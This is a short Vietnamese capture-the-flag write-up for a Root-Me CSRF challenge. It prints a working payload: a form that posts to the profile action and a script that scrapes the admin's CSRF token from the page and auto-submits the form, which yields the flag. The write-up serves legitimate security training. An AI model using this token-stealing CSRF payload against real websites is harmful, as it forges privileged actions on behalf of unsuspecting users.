Đầu tiền vào trang đăng ký và đăng nhập, kiểm tra thông tin thì form không có filter

Graphical user interface, application, Word

Description automatically generated

Thực hiện tạo payload và truyền vào

<form action="http://challenge01.root-me.org/web-client/ch23/?action=profile" method="post" name="csrf\_form" enctype="multipart/form-data">

<input id="username" type="text" name="username" value="kiet">

<input id="status" type="checkbox" name="status" checked >

<input id="token" type="hidden" name="token" value="" />

<button type="submit">Submit</button>

</form>

<script>

xhttp = new XMLHttpRequest();

xhttp.open("GET", "http://challenge01.root-me.org/web-client/ch23/?action=profile", false);

xhttp.send();

token\_admin = (xhttp.responseText.match(/[abcdef0123456789]{32}/));

document.getElementById('token').setAttribute('value', token\_admin)

document.csrf\_form.submit();

</script>

Thực hiện truyền vào xong thì ta có flag

Graphical user interface, application, Word

Description automatically generated